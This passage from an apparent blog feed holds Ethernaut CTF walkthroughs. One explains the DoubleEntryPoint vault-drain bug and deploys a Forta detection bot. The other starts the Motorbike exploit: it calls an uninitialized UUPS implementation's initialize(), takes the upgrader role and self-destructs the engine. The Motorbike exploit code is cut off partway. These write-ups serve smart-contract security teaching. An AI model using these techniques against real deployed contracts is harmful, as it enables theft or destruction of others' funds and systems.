        <span class="hljs-comment">// Cache old number of bot alerts</span>
        <span class="hljs-keyword">uint256</span> previousValue <span class="hljs-operator">=</span> forta.botRaisedAlerts(detectionBot);

        <span class="hljs-comment">// Notify Forta</span>
        forta.notify(player, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">data</span>);

        <span class="hljs-comment">// Continue execution</span>
        <span class="hljs-keyword">_</span>;

        <span class="hljs-comment">// Check if alarms have been raised</span>
        <span class="hljs-keyword">if</span> (forta.botRaisedAlerts(detectionBot) <span class="hljs-operator">&gt;</span> previousValue)
            <span class="hljs-keyword">revert</span>(<span class="hljs-string">"Alert has been triggered, reverting"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">delegateTransfer</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> to,
        <span class="hljs-keyword">uint256</span> value,
        <span class="hljs-keyword">address</span> origSender
    </span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">onlyDelegateFrom</span> <span class="hljs-title">fortaNotify</span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        _transfer(origSender, to, value);
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }
}
</code></pre>
<h2 id="heading-the-hack">The hack</h2>
<p>The goal of the DoubleEntryPoint level is to find the bug in <code>CryptoVault</code> contract and to protect it from being drained by implementing a Forta bot.</p>
<h3 id="heading-find-the-bug">Find the bug</h3>
<p>The code given is a bit complex, so let's break it done for clarity. We have 4 contracts to work with:</p>
<ol>
<li><p><code>Forta</code> - Related to the AlertBot we need to set up.</p>
</li>
<li><p><code>CryptoVault</code> - The contract we need to protect. Handles the <code>underlying</code> token.</p>
</li>
<li><p><code>LegacyToken</code> - A modified ERC20 token (LGT).</p>
</li>
<li><p><code>DoubleEntryPoint</code> - The instance we are given and the so-called <code>underlying</code> ERC20 token (DET).</p>
</li>
</ol>
<p>We know that the <code>CryptoVault</code> is vulnerable. It contains 100 LGT and 100 DET.</p>
<p>Let's forget the <code>Forta</code> contract for now. We will come back to it later.</p>
<p>Hard to say what's wrong with the <code>CryptoVaults</code> contract at first glance. So let's focus on the token contracts.</p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">LegacyToken</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">"LegacyToken"</span>, <span class="hljs-string">"LGT"</span></span>), <span class="hljs-title">Ownable</span> </span>{
    DelegateERC20 <span class="hljs-keyword">public</span> delegate;

    <span class="hljs-comment">// ... access protected functions</span>

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> value</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(delegate) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>)) {
            <span class="hljs-keyword">return</span> <span class="hljs-built_in">super</span>.<span class="hljs-built_in">transfer</span>(to, value);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">return</span> delegate.delegateTransfer(to, value, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
        }
    }
}
</code></pre>
<p>The LGT token has a custom <code>transfer</code> function that delegates the transfer to another contract if <code>delegate</code> variable is set, the <code>delegate</code> being the <code>DoubleEntryPoint</code> contract.</p>
<p>In the DET token, we have a modifier and a <code>delegateTransfer()</code> function (we don't need anything related to Forta at this point):</p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">DoubleEntryPoint</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">"DoubleEntryPointToken"</span>, <span class="hljs-string">"DET"</span></span>), <span class="hljs-title">DelegateERC20</span>, <span class="hljs-title">Ownable</span> </span>{

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyDelegateFrom</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> delegatedFrom, <span class="hljs-string">"Not legacy contract"</span>);
        <span class="hljs-keyword">_</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">delegateTransfer</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> to,
        <span class="hljs-keyword">uint256</span> value,
        <span class="hljs-keyword">address</span> origSender
    </span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">onlyDelegateFrom</span> <span class="hljs-title">fortaNotify</span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        _transfer(origSender, to, value);
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }
}
</code></pre>
<p>The modifier is making sure that only the <code>delegatedFrom</code> contract can call the <code>delegateTransfer</code> function. The <code>delegateTransfer</code> function is the one that is called by the <code>LegacyToken</code> contract.</p>
<p>Now, back to the <code>CryptoVault</code> contract. There is nothing really interesting except the <code>sweeppToken()</code> function.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sweepToken</span>(<span class="hljs-params">IERC20 token</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-built_in">require</span>(token <span class="hljs-operator">!</span><span class="hljs-operator">=</span> underlying, <span class="hljs-string">"Can't transfer underlying token"</span>);
    token.<span class="hljs-built_in">transfer</span>(sweptTokensRecipient, token.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));
}
</code></pre>
<p>This function allows to transfer the whole balance of any token from the <code>CryptoVault</code> contract to the <code>sweptTokensRecipient</code>, as long as it is not the <code>underlying</code> token.</p>
<p>OK. But... what if we try to transfer the LGT token instead?</p>
<p>The <code>CryptoVault::sweepToken</code> will call the <code>LegacyToken::transfer</code> which will forward the call to the <code>DoubleEntryPoint::delegateTransfer</code>.</p>
<p>At this point, <code>msg.sender</code> is the <code>CryptoVault</code> contract and <code>value</code> is the <code>CryptoVault</code> LGT's balance (equal to the DET balance). So this will bypass the <code>onlyDelegateFrom</code> check. Only this is not transferring the LGT token anymore, but the <code>underlying</code> DET token since we are inside the DET contract!</p>
<p>Here is the chain of events illustrated:</p>
<ol>
<li><p><code>CryptoVault::sweepToken(LGT)</code></p>
</li>
<li><p><code>LegacyToken::transfer({ to: sweptTokenRecipient, value: LGT.balanceof(CryptoVault) })</code></p>
</li>
<li><p><code>DoubleEntryPoint::delegateTransfer({ to: sweptTokenRecipient, value: LGT.balanceof(CryptoVault), origSender: CryptoVault })</code></p>
</li>
</ol>
<h3 id="heading-implement-the-forta-bot">Implement the Forta bot</h3>
<p>To mitigate this vulnerability, we need to implement a Forta AlertBot that will trigger an alert if <code>origSender == cryptoVault</code> in the <code>delegateTransfer</code> function, via the <code>fortaNotify</code> modifier.</p>
<p>In the <code>Forta</code> contract, there is a <code>setDetectionBot</code> function that we can use to implement our bot. And we have the following <code>IDetectionBot</code> interface:</p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDetectionBot</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handleTransaction</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> msgData</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}
</code></pre>
<p>So we have to create the logic for the <code>handleTransaction()</code> function that will call the <code>IForta.raiseAlert</code> function if <code>origSender == cryptoVault</code>.</p>
<p><code>DoubleEntryPoint::fortaNotify()</code> is passing <code>msg.data</code> to the <code>Forta::notify()</code> function.</p>
<ul>
<li><p>Initially, <code>msg.data</code> is the data for the <code>function delegateTransfer(address to, uint256 value, address origSender)</code> function.</p>
</li>
<li><p>Then, in <code>Forta::notify()</code>, the data is updated to the data of the <code>handleTransaction(user, msgData)</code> function.</p>
</li>
</ul>
<p>So that will look something like this:</p>
<blockquote>
<p>handleTransaction(user, msgData);</p>
<blockquote>
<p>Where <code>msgData == delegateTransfer(to, value, origSender);</code></p>
</blockquote>
</blockquote>
<p>So to access the <code>origSender</code> variable, we need to understand how a calldata is structured.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Position</td><td>Bytes/Length</td><td>Type</td><td>Value</td></tr>
</thead>
<tbody>
<tr>
<td>0x00</td><td>4</td><td>bytes4</td><td>selector of <code>handleTransaction()</code></td></tr>
<tr>
<td>0x04</td><td>32</td><td>address</td><td><code>user</code> address</td></tr>
<tr>
<td>0x24</td><td>32</td><td>uint256</td><td>Offset of <code>msgData</code></td></tr>
<tr>
<td>0x44</td><td>32</td><td>uint256</td><td>Length of <code>msgData</code></td></tr>
<tr>
<td>0x64</td><td>4</td><td>bytes4</td><td>selector of <code>delegateTransfer()</code></td></tr>
<tr>
<td>0x68</td><td>32</td><td>address</td><td><code>to</code> address</td></tr>
<tr>
<td>0x88</td><td>32</td><td>uint256</td><td><code>value</code> parameter</td></tr>
<tr>
<td>0xa8</td><td>32</td><td>address</td><td>\=&gt; <code>origSender</code> address</td></tr>
</tbody>
</table>
</div><p>We can use a bit of assembly to access the <code>origSender</code> variable:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">assembly</span> {
    origSender <span class="hljs-operator">:=</span> <span class="hljs-built_in">calldataload</span>(<span class="hljs-number">0xa8</span>)
}
</code></pre>
<h2 id="heading-solution">Solution</h2>
<p>Here is the full solution for the <code>AlertBot</code> contract:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
pragma solidity ^<span class="hljs-number">0.8</span><span class="hljs-number">.20</span>;

interface IDetectionBot {
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handleTransaction</span>(<span class="hljs-params">address user, bytes calldata msgData</span>) <span class="hljs-title">external</span>;
}

<span class="hljs-title">interface</span> <span class="hljs-title">IForta</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">raiseAlert</span>(<span class="hljs-params">address user</span>) <span class="hljs-title">external</span>;
}

<span class="hljs-title">contract</span> <span class="hljs-title">AlertBot</span> <span class="hljs-title">is</span> <span class="hljs-title">IDetectionBot</span> </span>{
    address private immutable cryptoVault;

    <span class="hljs-keyword">constructor</span>(address _cryptoVault) public {
        cryptoVault = _cryptoVault;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handleTransaction</span>(<span class="hljs-params">
        address user,
        bytes calldata msgData
    </span>) <span class="hljs-title">external</span> <span class="hljs-title">override</span> </span>{
        address origSender;
        assembly {
            <span class="hljs-attr">origSender</span> := calldataload(<span class="hljs-number">0xa8</span>)
        }

        <span class="hljs-keyword">if</span> (origSender == cryptoVault) {
            IForta(msg.sender).raiseAlert(user);
        }
    }
}
</code></pre>
<p>Next, let's write the script that we will use to deploy our contract:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">AlertBot</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/26_DoubleEntryPoint.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">IERC20</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/IERC20.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDoubleEntryPoint</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">cryptoVault</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">forta</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params">IForta</span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IForta</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setDetectionBot</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> detectionBotAddress</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with your DoubleEntryPoint instance</span>
    IDoubleEntryPoint doubleEntryPoint <span class="hljs-operator">=</span>
        IDoubleEntryPoint(<span class="hljs-number">0x1Ac3aD234aFEE64572c28242BF0197E1e8CaA717</span>);

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        <span class="hljs-keyword">address</span> cryptoVault <span class="hljs-operator">=</span> doubleEntryPoint.cryptoVault();
        AlertBot alertBot <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> AlertBot(cryptoVault);
        doubleEntryPoint.forta().setDetectionBot(<span class="hljs-keyword">address</span>(alertBot));

        vm.stopBroadcast();
    }
}
</code></pre>
<p>Then you can run the script with the following command:</p>
<pre><code class="lang-bash">forge script script/26_DoubleEntryPoint.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key <span class="hljs-variable">$ETHERSCAN_API_KEY</span>
</code></pre>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li>Detection Bots can be used to monitor any activity on the blockchain and trigger alerts.</li>
</ul>
<h2 id="heading-reference">Reference</h2>
<ul>
<li><p>Forta bot: <a target="_blank" href="https://docs.forta.network/en/latest/">https://docs.forta.network/en/latest/</a></p>
</li>
<li><p>CallData structure: <a target="_blank" href="https://docs.soliditylang.org/en/latest/abi-spec.html#abi">https://docs.soliditylang.org/en/latest/abi-spec.html#abi</a></p>
</li>
</ul>
<hr />
<p>You can find all the codes, challenges and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md">https://github.com/Pedrojok01/Ethernaut-Solutions/</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 25 - Motorbike]]></title><description><![CDATA[Goals

The Contract
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

// import "openzeppelin-contracts-06/utils/Address.sol";
// import "openzeppelin-contracts-06/proxy/Initializable.sol";
import {Address} from "../helpers/Address.sol";
impo...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-25-motorbike</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-25-motorbike</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Sat, 06 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713920540739/1206699d-ac9b-4562-8855-63fc497faf4c.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/25-motorbike-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/25-motorbike-requirements.webp" alt /></a></p>
<h2 id="heading-the-contract">The Contract</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>

<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> &lt;0.7.0;</span>

<span class="hljs-comment">// import "openzeppelin-contracts-06/utils/Address.sol";</span>
<span class="hljs-comment">// import "openzeppelin-contracts-06/proxy/Initializable.sol";</span>
<span class="hljs-keyword">import</span> {<span class="hljs-title">Address</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../helpers/Address.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">Initializable</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@openzeppelin/contracts/proxy/utils/Initializable.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Motorbike</span> </span>{
    <span class="hljs-comment">// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1</span>
    <span class="hljs-keyword">bytes32</span> <span class="hljs-keyword">internal</span> <span class="hljs-keyword">constant</span> _IMPLEMENTATION_SLOT <span class="hljs-operator">=</span>
        <span class="hljs-number">0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc</span>;

    <span class="hljs-keyword">struct</span> <span class="hljs-title">AddressSlot</span> {
        <span class="hljs-keyword">address</span> value;
    }

    <span class="hljs-comment">// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _logic</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(
            Address.isContract(_logic),
            <span class="hljs-string">"ERC1967: new implementation is not a contract"</span>
        );
        _getAddressSlot(_IMPLEMENTATION_SLOT).<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span> _logic;
        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> _logic.<span class="hljs-built_in">delegatecall</span>(
            <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"initialize()"</span>)
        );
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Call failed"</span>);
    }

    <span class="hljs-comment">// Delegates the current call to `implementation`.</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_delegate</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> implementation</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">virtual</span></span> </span>{
        <span class="hljs-comment">// solhint-disable-next-line no-inline-assembly</span>
        <span class="hljs-keyword">assembly</span> {
            <span class="hljs-built_in">calldatacopy</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-built_in">calldatasize</span>())
            <span class="hljs-keyword">let</span> result <span class="hljs-operator">:=</span> <span class="hljs-built_in">delegatecall</span>(
                <span class="hljs-built_in">gas</span>(),
                implementation,
                <span class="hljs-number">0</span>,
                <span class="hljs-built_in">calldatasize</span>(),
                <span class="hljs-number">0</span>,
                <span class="hljs-number">0</span>
            )
            <span class="hljs-built_in">returndatacopy</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-built_in">returndatasize</span>())
            <span class="hljs-keyword">switch</span> result
            <span class="hljs-keyword">case</span> <span class="hljs-number">0</span> {
                <span class="hljs-keyword">revert</span>(<span class="hljs-number">0</span>, <span class="hljs-built_in">returndatasize</span>())
            }
            <span class="hljs-keyword">default</span> {
                <span class="hljs-keyword">return</span>(<span class="hljs-number">0</span>, <span class="hljs-built_in">returndatasize</span>())
            }
        }
    }

    <span class="hljs-comment">// Fallback function that delegates calls to the address returned by `_implementation()`.</span>
    <span class="hljs-comment">// Will run if no other function in the contract matches the call data</span>
    <span class="hljs-function"><span class="hljs-keyword">fallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title"><span class="hljs-keyword">virtual</span></span> </span>{
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).<span class="hljs-built_in">value</span>);
    }

    <span class="hljs-comment">// Returns an `AddressSlot` with member `value` located at `slot`.</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_getAddressSlot</span>(<span class="hljs-params">
        <span class="hljs-keyword">bytes32</span> slot
    </span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params">AddressSlot <span class="hljs-keyword">storage</span> r</span>) </span>{
        <span class="hljs-keyword">assembly</span> {
            r.<span class="hljs-built_in">slot</span> <span class="hljs-operator">:=</span> slot
        }
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Engine</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Initializable</span> </span>{
    <span class="hljs-comment">// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1</span>
    <span class="hljs-keyword">bytes32</span> <span class="hljs-keyword">internal</span> <span class="hljs-keyword">constant</span> _IMPLEMENTATION_SLOT <span class="hljs-operator">=</span>
        <span class="hljs-number">0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc</span>;

    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> upgrader;
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> horsePower;

    <span class="hljs-keyword">struct</span> <span class="hljs-title">AddressSlot</span> {
        <span class="hljs-keyword">address</span> value;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">initialize</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">initializer</span> </span>{
        horsePower <span class="hljs-operator">=</span> <span class="hljs-number">1000</span>;
        upgrader <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }

    <span class="hljs-comment">// Upgrade the implementation of the proxy to `newImplementation`</span>
    <span class="hljs-comment">// subsequently execute the function call</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">upgradeToAndCall</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> newImplementation,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    <span class="hljs-comment">// Restrict to upgrader role</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_authorizeUpgrade</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> upgrader, <span class="hljs-string">"Can't upgrade"</span>);
    }

    <span class="hljs-comment">// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_upgradeToAndCall</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> newImplementation,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
        <span class="hljs-comment">// Initial upgrade and setup call</span>
        _setImplementation(newImplementation);
        <span class="hljs-keyword">if</span> (data.<span class="hljs-built_in">length</span> <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>) {
            (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> newImplementation.<span class="hljs-built_in">delegatecall</span>(data);
            <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Call failed"</span>);
        }
    }

    <span class="hljs-comment">// Stores a new address in the EIP1967 implementation slot.</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_setImplementation</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> newImplementation</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> </span>{
        <span class="hljs-built_in">require</span>(
            Address.isContract(newImplementation),
            <span class="hljs-string">"ERC1967: new implementation is not a contract"</span>
        );

        AddressSlot <span class="hljs-keyword">storage</span> r;
        <span class="hljs-keyword">assembly</span> {
            r_<span class="hljs-built_in">slot</span> <span class="hljs-operator">:=</span> _IMPLEMENTATION_SLOT
        }
        r.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span> newImplementation;
    }
}
</code></pre>
<h2 id="heading-the-hack">The hack</h2>
<h3 id="heading-dencun-upgrade-feb-2024">Dencun upgrade (Feb 2024)</h3>
<p>NOTE: The "old" solution for this challenge is not working anymore since the Dencun upgrade. The issue comes from the new behavior of the <code>selfdestruct</code> opcode which doesn't remove the contract's bytecode unless the contract is created AND self-destructed in the same transaction. See <a target="_blank" href="https://eips.ethereum.org/EIPS/eip-6780">EIP6780</a>.</p>
<blockquote>
<p><em>Contract Self Destructed, but was later reinitalized with new ByteCode</em></p>
</blockquote>
<p>However, according to this github thread, it seems that it is still doable: <a target="_blank" href="https://github.com/OpenZeppelin/ethernaut/issues/701">OpenZeppelin/ethernaut#701</a></p>
<p>I will update if I crack it. For information purposes, I have kept the old solution below.</p>
<h3 id="heading-old-solution">Old solution</h3>
<p>In order to self-destruct the <code>Engine</code> contract, we need to upgrade it to a new implementation since there is no <code>selfdestruct()</code> in this one. We can call the <code>upgradeToAndCall()</code> function for that, but we first need to become the <code>upgrader</code> inside the <code>Engine</code> contract to pass the <code>_authorizeUpgrade()</code> access check.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_authorizeUpgrade</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> upgrader, <span class="hljs-string">"Can't upgrade"</span>);
}
</code></pre>
<p>There is no way to do that by calling the Motorbike contract directly. But, we see that the Motorbike contract is using a delegatecall to initialize the Engine contract. This means that, as far as the Engine knows, <code>Engine::upgrader</code> hasn't been set yet (still <code>address(0)</code>), so we can call the <code>initialize()</code> function from our exploit contract directly.</p>
<p>Let's get the current Engine implementation address:</p>
<ul>
<li>In your Ethernaut browser console:</li>
</ul>
<pre><code class="lang-javascript"><span class="hljs-keyword">await</span> web3.eth.getStorageAt(
  instance,
  <span class="hljs-string">"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"</span>
  <span class="hljs-comment">// =&gt; 0x000000000000000000000000239bcf976042946e51690c2de9fea5d017eb282c</span>
  <span class="hljs-comment">// =&gt; 0x239bcf976042946e51690c2de9fea5d017eb282c</span>
);
</code></pre>
<ul>
<li>In Foundry using <code>forge</code>:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-keyword">address</span> engine <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(
            <span class="hljs-keyword">uint160</span>(
                <span class="hljs-keyword">uint256</span>(
                    vm.load(
                        motorbikeInstance,
                        <span class="hljs-number">0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc</span>
                    )
                )
            )
        );
</code></pre>
<p>Then, we can upgrade the Engine contract to a new implementation address with the <code>upgradeToAndCall()</code> function and call the <code>boom()</code> function to self-destruct it.</p>
<h2 id="heading-solution">Solution</h2>
<p>Let's implement the code accordingly:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IEngine</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">initialize</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">upgradeToAndCall</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> newImplementation,
